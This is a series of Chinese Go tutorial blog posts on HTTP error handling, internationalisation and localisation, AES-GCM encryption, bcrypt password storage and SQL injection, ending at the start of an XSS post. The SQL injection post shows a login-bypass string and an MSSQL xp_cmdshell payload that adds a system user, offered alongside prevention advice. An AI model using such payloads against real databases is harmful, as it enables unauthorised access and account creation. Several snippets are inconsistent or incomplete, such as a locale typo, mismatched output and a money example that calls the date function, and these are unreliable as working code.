func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 if err := fn(w, r); err != nil {
 http.Error(w, err.Error(), 500)
 }
}

上面我们定义了一个自定义路由器。然后我们可以照常注册我们的处理程序：

func init() {
 http.Handle("/view", appHandler(viewRecord))
}

然后可以通过以下代码处理/ view处理程序; 它比我们原来的实现简单得多不是吗？

func viewRecord(w http.ResponseWriter, r *http.Request) error {
 c := appengine.NewContext(r)
 key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
 record := new(Record)
 if err := datastore.Get(c, key, record); err != nil {
 return err
 }
 return viewTemplate.Execute(w, record)
}

除了打印出相应的错误代码之外，上面的错误处理程序示例将在发生任何错误时向用户返回500内部错误代码。实际上，我们可以自定义返回的错误类型，以输出更加开发人员友好的错误消息，其中包含对调试有用的信息，如下所示：

type appError struct {
 Error error
 Message string
 Code int
}

我们的自定义路由器可以相应更改：

type appHandler func(http.ResponseWriter, *http.Request) *appError

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 if e := fn(w, r); e != nil { // e is *appError, not os.Error.
 c := appengine.NewContext(r)
 c.Errorf("%v", e.Error)
 http.Error(w, e.Message, e.Code)
 }
}

在我们完成修改自定义错误后，我们的逻辑可以更改如下：

func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
 c := appengine.NewContext(r)
 key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
 record := new(Record)
 if err := datastore.Get(c, key, record); err != nil {
 return &appError{err, "Record not found", 404}
 }
 if err := viewTemplate.Execute(w, record); err != nil {
 return &appError{err, "Can't display record", 500}
 }
 return nil
}

如上所示，我们可以在视图中返回不同的错误代码和错误消息，具体取决于具体情况。虽然我们的代码版本与前一版本的功能类似，但它更明确，并且其错误消息提示更易于理解。所有这些因素都可以帮助您的应用程序在复杂性增加时更具可扩展性。

小结

容错是任何编程语言的一个非常重要的方面。在Go中，它是通过错误处理实现的。虽然Error只是一个接口，但它的实现方式可能有很多变化，我们可以根据具体情况自定义它。通过介绍这些各种错误处理概念，我们希望您已经了解了如何在您自己的Web应用程序中实现更好的错误处理方案。

Go基础学习记录之国际化网站

Mon, 04 Aug 2025 11:39:06 +0000

国际化网站

上一篇文章[Go基础学习记录之本地化资源]介绍了如何处理本地化资源，即使用区域设置配置文件。
那么，如果我们需要处理多个本地化资源，如文本翻译，时间和日期，数字等，我们该怎么办？
本篇文章将逐一解决这些问题。

管理多个区域设置包

在开发应用程序时，您需要做的第一件事就是决定是否要支持多种语言。
如果您决定支持多种语言，则需要开发组织结构，以便将来添加更多语言。
我们可以这样做的一种方法是将所有相关的语言环境文件放在一个config/locales目录或类似的东西中。
我们假设你想要支持中文和英文。
在这种情况下，您将把en.json和zh.json语言环境文件放入上述文件夹中。
他们的内容可能如下所示：

// zh.json

{
 "zh":
 {
 "submit": "提交",
 "create": "创建"
 }
}

// en.json

{
 "en":
 {
 "submit": "Submit",
 "create": "Create"
 }
}

我们决定使用一些第三方Go软件包来帮助我们将我们的Web应用程序国际化。
在go-i18n的情况下，我们首先必须注册config/locales目录来加载我们所有的语言环境文件：

Tr := i18n.NewLocale()
Tr.LoadPath("config/locales")

这个包很容易使用。
我们可以测试它的工作原理如下：

fmt.Println(Tr.Translate("submit"))
//Output "submit"
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//Outputs "递交"

自动加载本地包

我们刚刚描述了如何自动加载自定义语言包。
事实上，go-i18n库预先加载了一堆默认格式信息，如时间和货币格式。
用户可以覆盖和自定义这些默认配置以满足其需求。
请考虑以下过程：

//Load the default configuration files, which are placed below in `go-i18n/locales`

//File should be named zh.json, en-json, en-US.json etc., so we can continuously support more languages

func (il *IL) loadDefaultTranslations(dirPath string) error {
 dir, err := os.Open(dirPath)
 if err != nil {
 return err
 }
 defer dir.Close()

 names, err := dir.Readdirnames(-1)
 if err != nil {
 return err
 }

 for _, name := range names {
 fullPath := path.Join(dirPath, name)

 fi, err := os.Stat(fullPath)
 if err != nil {
 return err
 }

 if fi.IsDir() {
 if err := il.loadTranslations(fullPath); err != nil {
 return err
 }
 } else if locale := il.matchingLocaleFromFileName(name); locale != "" {
 file, err := os.Open(fullPath)
 if err != nil {
 return err
 }
 defer file.Close()

 if err := il.loadTranslation(file, locale); err != nil {
 return err
 }
 }
 }

 return nil
}

使用上面的代码加载我们的所有默认翻译，然后我们可以使用以下代码来选择和使用区域设置：

fmt.Println(Tr.Time(time.Now()))
//Output: 2009年1月08日 星期四 20:37:58 CST

fmt.Println(Tr.Time(time.Now(),"long"))
//Output: 2009年1月08日

fmt.Println(Tr.Money(11.11))
//Output: ¥11.11

模板mapfunc

上面，我们介绍了一种管理和集成多种语言包的方法。
我们实现的一些功能基于逻辑层，例如：“Tr.Translate”，“Tr.Time”，“Tr.Money"等。
在逻辑层中，我们可以使用这些函数（在提供所需参数之后）来应用您的翻译，在渲染时将结果直接输出到模板层。
如果我们想直接在模板层中使用这些功能，我们该怎么办？
如果您忘记了，我们在本书前面提到Go模板支持自定义模板功能。
以下代码显示了mapfunc的实现方式：

文字信息

下面是一个实现mapfunc的简单文本转换函数。
它使用Tr.Translate执行适当的翻译：

func I18nT(args ...interface{}) string {
 ok := false
 var s string
 if len(args) == 1 {
 s, ok = args[0].(string)
 }
 if !ok {
 s = fmt.Sprint(args...)
 }
 return Tr.Translate(s)
}

我们注册这样的函数：

t.Funcs(template.FuncMap{"T": I18nT})

然后从您的模板中使用它：

{{.V.Submit | T}}

日期和时间

日期和时间调用Tr.Time函数执行其翻译。
mapfunc实现如下：

func I18nTimeDate(args ...interface{}) string {
 ok := false
 var s string
 if len(args) == 1 {
 s, ok = args[0].(string)
 }
 if !ok {
 s = fmt.Sprint(args...)
 }
 return Tr.Time(s)
}

像这样注册函数：

t.Funcs(template.FuncMap{"TD": I18nTimeDate})

然后从您的模板中使用它：

货币信息

货币使用Tr.Money功能转换货币。
mapFunc实现如下：

func I18nMoney(args ...interface{}) string {
 ok := false
 var s string
 if len(args) == 1 {
 s, ok = args[0].(string)
 }
 if !ok {
 s = fmt.Sprint(args...)
 }
 return Tr.Money(s)
}

像这样注册函数：

t.Funcs(template.FuncMap{"M": I18nMoney})

然后从您的模板中使用它：

{{.V.Money | M}}

小结

在本次分享中，我们学习了如何在Web应用程序中实现多语言包。
我们通过自定义语言包看到，我们不仅可以轻松地将我们的应用程序国际化，还可以促进其他语言的添加（通过使用配置文件）。
默认情况下，go-i18n软件包将提供一些常用的时间，货币等配置，使用起来非常方便。
我们了解到，这些函数也可以使用映射函数直接从我们的模板中使用;
每个翻译的字符串都可以直接传送到我们的模板。
这使我们的Web应用程序能够以最小的努力适应多种语言。

Go基础学习记录之本地化资源

Mon, 04 Aug 2025 11:39:03 +0000

本地化资源

上一篇文章[Go基础学习记录之国际化和本地化(一)]介绍了如何设置区域设置。
在设置了语言环境之后，我们需要解决存储与特定语言环境相对应的信息的问题。
此信息可包括：文本内容，时间和日期，货币值，图片，特定文件和其他视图资源。
在Go中，所有这些上下文信息都以JSON格式存储在我们的后端，当特定区域的用户访问我们的网站时，可以调用并注入我们的视图。
例如，英文和中文内容将分别存储在en.json和zh-CN.json文件中。

本地化的文本内容

纯文本是在Web应用程序中表示信息的最常用方式，大部分本地化内容可能采用此形式。
目标是提供与区域表达一致的文本内容，并为您网站的外国用户感到自然。
一种解决方案是创建区域设置，本地语言字符串及其本地对应项的嵌套映射。
当客户端请求包含某些文本内容的页面时，我们首先检查他们所需的语言环境，然后从相应的地图中检索相应的字符串。
以下代码段是此过程的一个简单示例：

package main

import "fmt"

var locales map[string]map[string]string

func main() {
 locales = make(map[string]map[string]string, 2)
 en := make(map[string]string, 10)
 en["pea"] = "pea"
 en["bean"] = "bean"
 locales["en"] = en
 cn := make(map[string]string, 10)
 cn["pea"] = "豌豆"
 cn["bean"] = "毛豆"
 locales["zh-CN"] = cn
 lang := "zh-CN"
 fmt.Println(msg(lang, "pea"))
 fmt.Println(msg(lang, "bean"))
}

func msg(locale, key string) string {
 if v, ok := locales[locale]; ok {
 if v2, ok := v[key]; ok {
 return v2
 }
 }
 return ""
}

上面的示例为不同的区域设置（在本例中为中文和英文区域设置）设置翻译字符串的映射。
我们将cn翻译映射到相同的英语键值，以便我们可以用中文重建我们的英文文本信息。
如果我们想将文本切换到我们可能实现的任何其他语言环境，那么设置一个lang变量就很简单了。

简单的键值替换有时可能不足以满足我们的需求。
例如，如果我们有一个短语，例如“我30岁”，其中30是变量，我们将如何本地化它？
在这些情况下，我们可以结合使用fmt.Printf函数来实现所需的结果：

en["how old"] = "I am %d years old"
cn["how old"] = "我今年%d岁了"

fmt.Printf(msg(lang, "how old"), 30)

上面的示例代码仅用于演示;
实际的语言环境数据通常以JSON格式存储在我们的数据库中，允许我们执行一个简单的json.Unmarshal来使用我们的字符串翻译映射语言环境。

本地化的日期和时间

由于我们的时区惯例，世界某个地区的时间可能与另一个地区的时间不同。
类似地，表示时间的方式也可以从区域设置到区域设置。
例如，一个中国环境可能会读到2012年10月24日星期三23时11分13秒CST，而英文版可能是：周三10月24日23:11:13 CST 2012.不仅语言有变化，
但格式也有差异。
因此，在本地化日期和时间时，我们需要解决以下两点：

时区
格式化问题

$GOROOT/lib/time/package/timeinfo.zip目录包含与时区定义相对应的语言环境。
为了获得与用户当前语言环境相对应的时间，我们首先应该使用time.LoadLocation(name string)来获取与我们的语言环境对应的Location对象，并传入表示Asia/Shanghai或America/Chicago等语言环境的字符串。
然后，我们可以将此Location对象与Time对象（通过调用time.Now获得）一起使用，以使用Time对象的In方法获取最终时间。
下面详细介绍了这个过程（这个例子使用了上面例子中的一些变量）：

en["time_zone"] = "America/Chicago"
cn["time_zone"] = "Asia/Shanghai"

loc, _ := time.LoadLocation(msg(lang, "time_zone"))
t := time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))

我们可以用类似的方式处理文本格式以解决我们的时间格式问题：

en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"

fmt.Println(date(msg(lang,"date_format"),t))

func date(fomat string, t time.Time) string{
 year, month, day = t.Date()
 hour, min, sec = t.Clock()
 //Parsing the corresponding %Y%m%d%H%M%S and then returning the information
 //%Y replaced by 2012
 //%m replaced by 10
 //%d replaced by 24
}

本地化货币价值

显然，货币也因地区而异。
我们可以像处理日期那样对待它：

en["money"] ="USD %d"
cn["money"] ="￥%d元"

fmt.Println(date(msg(lang,"date_format"),100))

func money_format(fomat string, money int64) string{
 return fmt.Sprintf(fomat, money)
}

视图和资源的本地化

我们可以使用不同的图像，css，js和其他静态资源来提供自定义视图，具体取决于当前的区域设置。
实现此目的的一种方法是将这些文件组织到各自的区域设置中。
这是一个例子：

views
|--en //English Templates
 |--images //store picture information
 |--js //JS files 
 |--css //CSS files
 index.tpl //User Home
 login.tpl //Log Home
|--zh-CN //Chinese Templates
 |--images
 |--js
 |--css
 index.tpl
 login.tpl

使用此目录结构，我们可以像这样呈现特定于语言环境的视图：

s1, _ := template.ParseFiles("views" + lang + "index.tpl")
VV.Lang = lang
s1.Execute(os.Stdout, VV)

index.tpl文件中引用的资源可以按如下方式处理：

// js file
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css file
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// Picture files
<img src="views/{{.VV.Lang}}/images/btn.png">

通过动态视图和我们对资源进行本地化的方式，我们将能够轻松添加更多区域设置。

小结

本篇分享介绍如何使用和存储本地资源。
我们了解到我们可以使用转换函数和字符串插值，并且看到映射可以是存储特定于语言环境的数据的有效方法。
对于后者，我们可以在需要时简单地提取相应的区域设置信息 - 如果它是我们期望的文本内容，我们的映射翻译和习语可以直接传送到输出。
如果它像时间或货币那样更复杂，我们只需使用fmt.Printf函数预先格式化它。
本地化我们的视图和资源是最简单的情况，只需将我们的文件组织到各自的语言环境中，然后从它们的语言环境相对路径引用它们。

Go基础学习记录之国际化和本地化(一)

Mon, 04 Aug 2025 11:39:00 +0000

国际化和本地化

为了适应日益全球化的互联网，作为开发人员，我们有时可能需要构建多语言的国际Web应用程序。
这意味着某些页面将根据用户区域以不同语言显示，并且UI和UX也可能会根据当地假日或文化显示不同的效果。
例如，在运行时，应用程序将能够识别和处理来自不同地理区域的请求并以本地方言呈现页面或显示不同的用户界面。
作为称职的开发人员，我们不希望手动修改应用程序的源代码以满足每个可能的区域。
当应用程序需要添加对新语言的支持时，我们应该能够简单地使用相应的语言包并完成它。

在本次分享中，我们将讨论国际化和本地化（通常分别表示为i18n和L10N）。
国际化是设计应用程序的过程，这些应用程序足够灵活，可以服务于世界各地的多个地区。
在某些方面，我们可以将国际化视为有助于促进本地化的东西，这是适应Web应用程序的内容和设计以适应特定区域的语言或文化需求。

目前，Go的标准软件包不提供i18n支持，但有一些有用且相对简单的第三方实现可用。
在本次分享中，我们将使用开源"go-i18n"库来支持我们示例中的国际化。

当我们谈论使我们的Web应用程序“国际化”时，我们的意思是每个网页都应该使用特定于语言环境的信息构建，并使用相应的本地字符串，时间和货币格式等组合在一起。这涉及三件事：

如何确定用户的语言环境。
如何保存与语言环境相关的字符串或其他信息。
如何根据用户的语言环境嵌入字符串和其他信息。

在第一部分中，我们将介绍如何检测和设置正确的区域设置，以允许网站用户访问其特定于语言的页面。
第二部分介绍如何处理或存储字符串，货币，时间，日期和其他与语言环境相关的信息。
最后，第三部分将介绍如何使您的Web应用程序国际化;
更具体地说，我们将讨论如何使用适合语言环境的内容返回不同的页面。
通过这三个部分，我们将能够在我们的Web应用程序中支持完整的i18n。

设置默认区域

找出语言环境

区域设置是特定地理区域的一组描述符，可以包括特定的语言习惯，文本格式，文化习语和许多其他设置。
区域设置的名称通常由三部分组成。
第一个（也是强制性的）是语言环境的语言缩写，例如英语为“en”，中文为“zh”。
第二部分是可选的国家说明符，并在第一部分后面加一个减号。
此说明符允许Web应用程序区分使用相同语言的不同国家/地区，例如美国英语的“en-US”和英国英语的“en-GB”。
最后一部分是另一个可选说明符，并添加到具有句点的语言环境中。
它指定要使用的字符集，例如“zh-CN.gb2312”指定中文的gb2312字符集。

默认为“UTF-8”编码集，因此Go应用程序中的i18n不需要考虑最后一个参数。
因此，在我们的示例中，我们将仅使用区域设置描述的前两部分作为我们的标准i18n区域设置名称。

在Linux和Solaris系统上，您可以使用locale -a命令获取所有支持的区域名称的列表。您可以使用此列表作为一些常见语言环境的示例。对于BSD和其他系统，没有locale命令，但区域信息存储在/usr/share/locale中。

设置区域

现在我们已经定义了区域设置，我们需要能够根据访问用户的信息（来自他们的个人设置，访问的域名等）来设置它。
以下是我们可以用来设置用户区域设置的一些方法：

来自域名

当应用程序为不同区域使用不同的域时，我们可以通过域名本身设置用户的语言环境。
例如，我们可以使用www.gowhich.com作为我们的默认英文网站，使用域名www.gowhich.cn作为其中文对应网站。
通过为不同的区域设置单独的域，您可以检测并提供所请求的区域设置。
这种类型的设置有几个优点：

通过URL识别语言环境是独特且明确的
用户直观地知道要访问的特定区域或语言的域名
在Go应用程序中实现此方案非常简单方便，可以通过映射实现
有利于搜索引擎爬虫，可以改善网站的搜索引擎优化

我们可以使用以下代码来实现相应的域名区域设置：

if r.Host == "www.gowhich.com" {
 i18n.SetLocale("en")
} else if r.Host == "www.gowhich.cn" {
 i18n.SetLocale("zh-CN")
} else if r.Host == "www.gowhich.tw" {
 i18n.SetLocale("zh-TW")
}

或者，我们也可以通过使用子域来设置语言环境，例如英语站点的“en.gowhich.com”和中文站点的“cn.gowhich.com”。
该方案可以通过以下代码实现：

prefix:= strings.Split(r.Host,".")

if prefix[0] == "en" {
 i18n.SetLocale("en")
} else if prefix[0] == "cn" {
 i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
 i18n.SetLocale("zh-TW")
}

如上所述，从域名设置区域设置有其优点，但是l10n通常不以这种方式实现。
首先，由于每个语言环境都需要自己的域名，因此域名的成本（尽管通常单独可以负担得起）可以很快加起来，并且域名通常不一定适合本地上下文。
其次，我们不希望为每个区域设置单独配置每个网站。
相反，我们应该能够以编程方式执行此操作，例如使用URL参数。
我们来看看下面的描述。

来自URL参数

实现l10n的最常用方法是直接在URL参数中设置所需的区域设置，例如www.gowhich.com/hello?locale=zh或www.gowhich.com/zh/hello。
这样，我们可以像这样设置区域：i18n.SetLocale(params [“locale”])。

这种设置几乎具有将语言环境放在域前面并且它是RESTful的所有优点，因此我们不需要添加其他方法来实现它。
这种方法的缺点是它需要在每个链接内部具有相应的区域设置参数，这可能非常麻烦并且可能增加复杂性。
但是，我们可以编写一个通用函数来生成这些特定于语言环境的URL，以便通过它生成所有链接。
此函数应自动为每个链接添加一个locale参数，以便用户单击它们时，我们可以轻松地解析它们的请求：locale = params [“locale”]。

也许我们希望我们的URL看起来更加RESTful。
例如，我们可以将我们的资源映射到特定区域，例如www.gowhich.com/en/books，用于我们的英文站点，www.gowhich.com/zh/books用于中文站点。
这种方法不仅更有利于URL SEO，而且对用户也更友好。
访问该站点的任何人都应该能够直接从URL访问特定于语言环境的网站资源。
然后，可以通过应用程序路由器传递此类URL地址，以获取正确的区域设置（请参阅描述路由器插件实现的REST部分）：

router.Get("/:locale/books", listbook)

从客户端设置区域

在某些特殊情况下，我们需要显式客户端信息才能设置区域设置，而不是从URL或URL参数中获取。
此信息可能直接来自客户端的浏览器设置，用户的IP地址或用户在注册时填写的位置设置。
这种方法更适合基于Web的应用程序。

Accept-Language

当客户端使用带有Accept-Language字段的HTTP标头集请求信息时，我们可以使用以下Go代码来解析标头并设置适当的区域代码：

AL := r.Header.Get("Accept-Language")
if AL == "en" {
 i18n.SetLocale("en")
} else if AL == "zh-CN" {
 i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
 i18n.SetLocale("zh-TW")
}

当然，在现实世界的应用程序中，我们可能需要更严格的流程和规则来设置用户区域

IP Address

设置客户区域的另一种方法是查看用户的IP地址。
我们可以使用流行的GeoIP GeoLite Country or City libraries[http://dev.maxmind.com/geoip/legacy/geolite/]来帮助我们将用户IP地址与相应的区域相关联。
实现此机制非常简单：我们只需要在数据库中查找用户的IP地址，然后根据返回的区域返回特定于语言环境的内容。

User profile

您还可以让用户通过输入元素（如下拉菜单（或类似的东西））为您提供其区域设置信息。
收到此信息后，我们可以将其保存到与用户个人资料相关联的帐户中。
当用户再次登录时，我们将能够检查并设置他们的区域设置 - 这保证了每次用户访问网站时，返回的内容将基于其先前设置的区域设置。

小结

在本次分享中，我们演示了可以通过多种方式检测和设置用户特定的区域设置。
这些方法包括通过域名，子域名，URL参数以及直接从客户端设置用户区域。
通过满足特定地区的特定需求，我们可以为用户提供舒适，熟悉和直观的环境，以访问我们提供的服务。

Go基础学习记录之加密和解密数据

Mon, 04 Aug 2025 11:38:56 +0000

加密和解密数据

上篇文章介绍了如何安全地存储密码，但有时可能需要修改已存储到数据库中的某些敏感加密数据。
当需要数据解密时，我们应该使用对称加密算法，而不是我们之前介绍的单向散列技术。

高级加密和解密

Go语言在其crypto包中支持对称加密算法。
如果您不知道自己在做什么，请不要在GCM模式下使用除AES之外的任何内容！

crypto/aes包： AES（高级加密标准），也称为Rijndael加密方法，被美国联邦政府用作块加密标准。

在以下示例中，我们演示了如何在GCM模式下使用AES加密数据：

package main

import (
 "crypto/aes"
 "crypto/cipher"
 "crypto/rand"
 "errors"
 "fmt"
 "io"
 "log"
)

func main() {
 text := []byte("My name is Astaxie")
 key := []byte("the-key-has-to-be-32-bytes-long!")

 ciphertext, err := encrypt(text, key)
 if err != nil {
 // TODO: Properly handle error
 log.Fatal(err)
 }
 fmt.Printf("%s => %x\n", text, ciphertext)

 plaintext, err := decrypt(ciphertext, key)
 if err != nil {
 // TODO: Properly handle error
 log.Fatal(err)
 }
 fmt.Printf("%x => %s\n", ciphertext, plaintext)
}

func encrypt(plaintext []byte, key []byte) ([]byte, error) {
 c, err := aes.NewCipher(key)
 if err != nil {
 return nil, err
 }

 gcm, err := cipher.NewGCM(c)
 if err != nil {
 return nil, err
 }

 nonce := make([]byte, gcm.NonceSize())
 if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
 return nil, err
 }

 return gcm.Seal(nonce, nonce, plaintext, nil), nil
}

func decrypt(ciphertext []byte, key []byte) ([]byte, error) {
 c, err := aes.NewCipher(key)
 if err != nil {
 return nil, err
 }

 gcm, err := cipher.NewGCM(c)
 if err != nil {
 return nil, err
 }

 nonceSize := gcm.NonceSize()
 if len(ciphertext) < nonceSize {
 return nil, errors.New("ciphertext too short")
 }

 nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
 return gcm.Open(nil, nonce, ciphertext, nil)
}

调用上述函数aes.NewCipher（其[]byte键参数必须为16,24或32，分别对应AES-128，AES-192或AES-256算法），返回一个实现三个的cipher.Block接口函数：

type Block interface {
 // BlockSize returns the cipher's block size.
 BlockSize() int

 // Encrypt encrypts the first block in src into dst.
 // Dst and src may point at the same memory.
 Encrypt(dst, src []byte)

 // Decrypt decrypts the first block in src into dst.
 // Dst and src may point at the same memory.
 Decrypt(dst, src []byte)
}

这三个函数实现加密和解密操作;
有关更详细的说明，请参阅Go文档。

小结

本节介绍可根据Web应用程序的加密和解密需求以不同方式使用的加密算法。
对于具有基本安全要求的应用程序，建议在GCM模式下使用AES。

Go基础学习记录之密码存储

Mon, 04 Aug 2025 11:38:52 +0000

密码存储

多年来，许多网站都遭遇了用户密码数据的破坏。
甚至像Linkedin和CSDN.net这样的顶级互联网公司也受到了影响。
整个互联网都感受到了这些事件的影响，不容小觑。
对于今天的互联网用户来说尤其如此，他们经常习惯在许多不同的网站上使用相同的密码。

作为Web开发人员，我们在实现密码存储方案时有很多选择。
然而，这种自由往往是一把双刃剑。
那么常见的陷阱是什么？我们如何避免陷入它们？

不好的解决方案

目前，最常用的密码存储方案是在存储它们之前使用单向散列明文密码。
单向散列的最重要特征是在给定散列数据的情况下恢复原始数据是不可行的 - 因此单向散列中的“单向”。
常用的加密单向散列算法包括SHA-256，SHA-1，MD5等。实例如下：

//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))

单向散列有两个关键特性：

给定密码的单向散列，结果摘要始终是唯一确定的。
计算速度。随着技术的进步，完成数十亿次单向散列计算只需要一秒钟。

鉴于上述两个特征的组合，并考虑到大多数人使用某些公共密码组合的事实，攻击者可以计算所有常用密码的组合。
即使您存储在数据库中的密码可能只是哈希值，但如果攻击者可以访问此数据库，他们可以将存储的哈希值与其预先计算的哈希值进行比较，以获得相应的密码。
这种类型的攻击依赖于通常称为彩虹表的东西。

我们可以看到使用单向哈希散列用户数据可能还不够。
一旦网站的数据库泄露，用户的原始密码可能会向全世界泄露。

好的解决方案

上面提到的方法可能足以抵御几年前的大多数黑客攻击，因为大多数攻击者都没有计算资源来计算大型彩虹表。
但是，随着并行计算能力的提高，这些类型的攻击变得越来越可行。

鉴于时间和内存资源的实际限制，我们如何安全地存储密码以便第三方无法解密？
解决方案是计算散列密码以故意增加资源量和破解它所需的时间。
我们想要设计一个哈希，以便没有人可能拥有计算所需彩虹表所需的资源。

非常安全的系统利用散列算法，该算法考虑了计算给定密码摘要所需的时间和资源。
这允许我们创建大规模执行计算成本高的密码摘要。
计算的强度越大，攻击者预先计算彩虹表就越困难 - 以至于尝试它甚至是不可行的。

在Go中，建议您使用bcrypt包。包的源代码可以在以下链接中找到：
https://github.com/golang/crypto/blob/master/bcrypt/bcrypt.go

以下是一个示例代码段，可用于散列，存储和验证用户密码：

package main

import (
 "fmt"
 "log"

 "golang.org/x/crypto/bcrypt"
)

func main() {
 userPassword1 := "some user-provided password"

 // Generate "hash" to store from user password
 hash, err := bcrypt.GenerateFromPassword([]byte(userPassword1), bcrypt.DefaultCost)
 if err != nil {
 // TODO: Properly handle error
 log.Fatal(err)
 }
 fmt.Println("Hash to store:", string(hash))
 // Store this "hash" somewhere, e.g. in your database

 // After a while, the user wants to log in and you need to check the password he entered
 userPassword2 := "some user-provided password"
 hashFromDatabase := hash

 // Comparing the password with the hash
 if err := bcrypt.CompareHashAndPassword(hashFromDatabase, []byte(userPassword2)); err != nil {
 // TODO: Properly handle error
 log.Fatal(err)
 }

 fmt.Println("Password was correct!")
}

小结

如果您担心在线生活的安全性，可以采取以下步骤：

作为普通的互联网用户，我们建议使用LastPass进行密码存储和生成;
在不同的网站上使用不同的密码
作为Go Web开发人员，我们强烈建议您使用上述专业且经过良好测试的方法之一来存储用户密码。

Go基础学习记录之SQL注入

Mon, 04 Aug 2025 11:38:49 +0000

SQL注入

什么是SQL注入

SQL注入攻击（正如其名称所示）是众多类型的脚本注入攻击之一。
在Web开发中，这些是最常见的安全漏洞形式。
攻击者可以使用它从数据库中获取敏感信息，攻击的各个方面可能涉及将用户添加到数据库，导出私有文件，甚至为自己的恶意目的获取最高系统权限。

当Web应用程序无法有效地过滤掉用户输入时，会发生SQL注入，从而使攻击者可以向服务器提交恶意SQL查询代码。
应用程序通常会将注入的代码作为攻击者输入的一部分接收，这会以某种方式改变原始查询的逻辑。
当应用程序尝试执行查询时，会执行攻击者的恶意代码。

SQL注入示例

许多Web开发人员都没有意识到SQL查询是如何被篡改的，并且可能会误以为他们是可信命令。
众所周知，SQL查询能够绕过访问控制，从而绕过标准的身份验证和授权检查。
而且，可以通过主机系统级别的命令运行SQL查询。

让我们看一些真实的例子来详细解释SQL注入的过程。

请考虑以下简单登录表单：

<form action="/login" method="POST">
 <p>Username: <input type="text" name="username" /></p>
 <p>Password: <input type="password" name="password" /></p>
 <p><input type="submit" value="Login" /></p>
</form>

我们的表单处理可能如下所示：

username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"

如果用户输入用户名或密码：

myuser' or 'foo' = 'foo' --

然后我们的SQL变成以下内容：

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

在SQL中，--后面的任何内容都是注释。
因此，插入 -- 如上面的攻击者所做的那样以致命的方式改变查询，允许攻击者以没有有效密码的用户成功登录。

MSSQL SQL注入存在更多危险的漏洞，有些甚至可以执行系统命令。
以下示例将演示在某些版本的MSSQL数据库中SQL注入的可怕程度。

sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)

如果攻击者提交a％'exec master..xp_cmdshell'net user test testpass / ADD' -- 作为"prod"变量，则sql将成为

sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

MSSQL Server执行SQL语句，包括用户提供的“prod”变量中的命令，该变量将新用户添加到系统中。
如果此程序按原样运行，并且MSSQLSERVER服务具有足够的权限，则攻击者可以注册系统帐户以访问此计算机。

虽然上面的示例与特定的数据库系统相关联，但这并不意味着其他数据库系统不会受到类似类型的攻击。SQL注入攻击背后的原理保持不变，尽管它们所采用的方法可能会有所不同。

如何防止SQL注入

您可能认为攻击者必须知道有关目标数据库结构的信息才能执行SQL注入攻击。
虽然这是事实，但很难保证攻击者无法找到此信息，一旦获得此信息，数据库就会受到攻击。
如果您使用开源软件访问数据库，例如论坛应用程序，入侵者可以轻松获取相关代码。
显然，由于代码设计不当，安全风险更大。
Discuz，phpwind和phpcms是流行的开源程序的一些例子，它们容易受到SQL注入攻击。

这些攻击发生在没有优先考虑安全预防措施的系统中。
我们之前已经说过了，我们再说一遍：永远不要相信任何形式的输入，特别是用户数据。
这包括来自选择框，隐藏输入字段或cookie的数据。
正如我们上面的第一个例子所示，即使是普通的查询也可能导致灾难。

SQL注入攻击可能是毁灭性的 - 我们甚至可以开始防御它们？
以下建议是防止SQL注入的良好起点：

严格限制数据库操作的权限，以便用户只拥有完成其工作所需的最小权限集，从而最大限度地降低数据库注入攻击的风险。
检查输入数据是否具有预期的数据格式，并严格限制可以提交的变量类型。这可能涉及正则表达式匹配，或使用strconv包将字符串转换为其他基本类型以进行清理和评估。
在将它们持久存储到数据库之前，转码或转义成对特殊字符( '"\&*;等).Go的text/template包有一个HTMLEscapeString函数，可用于返回转义的HTML。
使用数据库的参数化查询界面。参数化语句使用参数而不是在嵌入式SQL语句中连接用户输入变量;换句话说，它们不直接拼接SQL语句。例如，使用Go的database/sql包中的Prepare函数，我们可以创建预准备语句，以便以后使用Query或Exec(query string, args… interface {})。
在发布应用程序之前，请使用专业工具对其进行彻底测试，以检测SQL注入漏洞并修复它们（如果存在）。有很多在线开源工具就是这样做的，比如sqlmap，SQLninja等等。
避免在公共网页上打印出SQL错误信息。攻击者可以使用这些错误消息来执行SQL注入攻击。此类错误的示例包括类型错误，不匹配错误的字段或包含SQL语句的任何错误。

小结

通过上面的例子，我们了解到SQL注入是一个非常真实且非常危险的Web安全漏洞。
当我们编写Web应用程序时，我们应该注意每一个细节，并极其小心地处理安全问题。
这样做将导致更好，更安全的Web应用程序，并最终成为您的应用程序是否成功的决定因素。

Go基础学习记录之XSS攻击

Mon, 04 Aug 2025 11:38:46 +0000

XSS攻击

随着互联网技术的发展，Web应用程序通常包含动态内容以改善用户体验。
动态内容是根据用户请求和操作做出反应和更改的内容。
动态站点通常容易受到跨站点脚本攻击（通常由安全专家以其缩写形式XSS引用），静态网站完全不受其影响。

什么是XSS？

如上所述，术语XSS是Cross-Site Scripting的首字母缩写，它是Web上常见的一种攻击。
